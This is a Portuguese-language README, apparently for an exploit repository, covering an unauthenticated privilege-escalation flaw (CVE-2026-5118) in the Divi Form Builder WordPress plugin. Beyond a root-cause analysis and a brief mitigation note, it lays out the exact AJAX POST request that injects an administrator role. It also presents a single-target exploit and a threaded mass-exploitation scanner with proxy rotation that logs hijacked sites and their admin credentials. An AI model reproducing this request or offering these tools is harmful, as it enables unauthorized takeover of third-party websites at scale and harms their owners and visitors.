📋 Informações da Vulnerabilidade

🔍 Descrição

O plugin Divi Form Builder para WordPress é vulnerável a Escalação de Privilégio Não Autenticada em todas as versões até e incluindo 5.1.2.

A função create_user() dentro de FormSubmissionHandler.php aceita um parâmetro role controlado pelo usuário a partir dos dados POST durante o registro de usuário sem validá-lo em relação à configuração default_user_role do formulário. A única "proteção" é sanitize_text_field() — que remove tags HTML e codificação, mas não faz nada para restringir o valor a funções seguras — seguida por uma verificação de existência que meramente confirma se a função existe no WordPress (e administrator sempre existe).

Essa tripla falha permite que atacantes não autenticados:

1. Encontrem qualquer página com um formulário Divi Form Builder (contato, cotação, newsletter — não importa)
2. Extraiam o nonce global compartilhado (fb_nonce) do objeto JavaScript de_fb_obj
3. Sobrescrevam form_type para register via POST — transformando qualquer formulário em um endpoint de registro
4. Injete role=administrator na submissão AJAX
5. Criem uma conta administradora completa com credenciais controladas pelo atacante

Resultado: Tomada total do site — zero autenticação, zero interação do usuário, uma requisição POST.

🧬 Análise da Causa Raiz

1. Captura de Função Não Sanitizada a partir dos Dados POST

// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~linha 2250
$role = isset($form_data['role'])
    ? sanitize_text_field($form_data['role'])   // ← Apenas remove tags/codificação!
    : 'subscriber';                              // ← 'administrator' passa LIMPO

sanitize_text_field() é projetado para sanitização de texto livre (prevenção XSS). Ele NÃO valida contra uma lista de permissões de funções seguras. A string "administrator" não contém tags HTML, nenhuma codificação especial — ela passa completamente intocada.

2. Validação Apenas de Existência — Não é uma Verificação de Segurança

// ~linha 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
    !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';   // ← fallback APENAS se a função não existir
}

Esta verificação pergunta: "Essa função existe no WordPress?" — e administrator sempre existe. Ela nunca faz a pergunta correta: "Essa função é segura para auto-registro público?" Uma verificação adequada validaria contra uma lista de permissões como ['subscriber', 'contributor'] ou aplicaria a configuração default_user_role do formulário.

3. Atribuição Direta de Função Sem Verificação de Capacidade

// ~linha 2301
$user = new WP_User($user_id);
$user->set_role($role);   // ← função controlada pelo atacante aplicada diretamente!

Nenhuma verificação current_user_can('create_users'). Nenhuma verificação current_user_can('promote_users'). Nenhuma verificação de capacidade de qualquer tipo. A função fornecida pelo atacante é passada diretamente para set_role().

4. Nonce Global Compartilhado — Exposto em Toda Página com um Formulário

// Localização do JS frontend
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
    'ajax_url' => admin_url('admin-ajax.php'),
    'nonce'    => wp_create_nonce('security'),   // ← MESMO nonce em TODOS os formulários, TODAS as páginas
    // ...
]);

O fb_nonce é criado via wp_create_nonce('security') — uma string de ação genérica compartilhada em todos os formulários DFB do site. Qualquer visitante pode extraí-lo do código-fonte da página lendo o objeto JavaScript de_fb_obj.

5. Sobrescrita do Tipo de Formulário — Qualquer Formulário se Torna um Endpoint de Registro

// Manipulador AJAX
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';

if ($form_type === 'register') {
    $this->create_user($form_data);   // ← acionado por sobrescrita POST!
}

O form_type é lido a partir dos dados POST, não da configuração do formulário no servidor. Um atacante pode enviar form_type=register em qualquer submissão AJAX do DFB — um formulário de contato, uma solicitação de cotação, uma inscrição de newsletter — e o servidor executará o caminho de código de registro. O propósito original do formulário é irrelevante.

⚔️ Cadeia de Ataque

[Atacante Não Autenticado]
         │
         ▼
   GET /any-page-with-dfb-form/
   ← Código-fonte HTML: de_fb_obj = {"nonce":"abc123def0", ...}
         │
         ▼
   Extrair fb_nonce do objeto JavaScript de_fb_obj
         │
         ▼
   POST /wp-admin/admin-ajax.php
   ┌──────────────────────────────────────────────┐
   │  action    = de_fb_ajax_submit_ajax_handler  │
   │  fb_nonce  = abc123def0                      │
   │  role      = administrator        ← INJETADO │
   │  form_type = register          ← SOBRESCRITO  │
   │  user_login = attacker_admin                 │
   │  user_pass  = AttackerPass123!               │
   │  user_email = [email protected]              │
   └──────────────────────────────────────────────┘
         │
         ▼
   sanitize_text_field('administrator') → 'administrator'    ✓ passa
   wp_roles()->roles['administrator'] existe? → SIM          ✓ passa
   $user->set_role('administrator')                          ✓ sem verificação de capacidade
         │
         ▼
   ← {"success": true, "data": {"message": "User created"}}
         │
         ▼
   POST /wp-login.php
   log=attacker_admin & pwd=AttackerPass123!
   ← 302 → /wp-admin/
         │
         ▼
   [Acesso de Administrador Completo] 🔥

🛠️ Ferramentas

CVE-2026-5118.py — Exploit para Alvo Único

Cadeia de exploração completa em 5 fases com descoberta automática de formulário e extração de nonce.

python3 CVE-2026-5118.py

  URL do alvo: https://target.com
  Nome de usuário [beelze_admin]:
  Senha [Beelze123!!@#!]:
  Email [[email protected]]:
  Tempo limite (segundos) [15]:
  Proxy SOCKS5 (em branco = nenhum):

Fases do Exploit:

Fase 1  ▶  Acessibilidade (HTTPS + fallback HTTP)
Fase 2  ▶  Detecção do Plugin (verificação da versão via readme.txt)
Fase 3  ▶  Descoberta de Formulário e Extração de Nonce
             ├── Escaneamento de páginas via API REST
             ├── Sondagem de caminhos comuns
             ├── Varredura do sitemap
             └── Varredura de links da página inicial
Fase 4  ▶  Injeção de Função (Escalação de Privilégio)
Fase 5  ▶  Verificação de Login como Administrador

Saída (scan_results/CVE-2026-5118_success.txt):

https://target.com | beelze_admin:Beelze123!!@#!

CVE-2026-5118-mass.py — Scanner em Massa

Exploração em massa com threads, logging JSONL e suporte a retomada.

python3 CVE-2026-5118-mass.py

  Arquivo de alvos (uma URL por linha): targets.txt
  Nome de usuário [beelze_admin]:
  Senha [Beelze123!!@#!]:
  Email [[email protected]]:
  Threads [10]:
  Tempo limite (segundos) [10]:
  Arquivo de proxy (SOCKS5, um por linha, em branco = nenhum):
  Retomar varredura anterior? (s/n) [n]:

Funcionalidades:

• Escaneamento multi-thread com número configurável de threads
• Rotação de proxy SOCKS5
• Saída JSONL para processamento programático
• Suporte a retomada — pula alvos já escaneados
• Barra de progresso rica com estatísticas em tempo real
• Fallback automático HTTP quando HTTPS falha

Saída (scan_results/CVE-2026-5118_success.txt):

https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!

🔒 Mitigação

• Atualize o Divi Form Builder para a versão 5.1.3 ou posterior
• A correção impõe que a função atribuída seja sempre aquela configurada no servidor na opção default_user_role do formulário, ignorando qualquer parâmetro role fornecido pelo usuário nos dados POST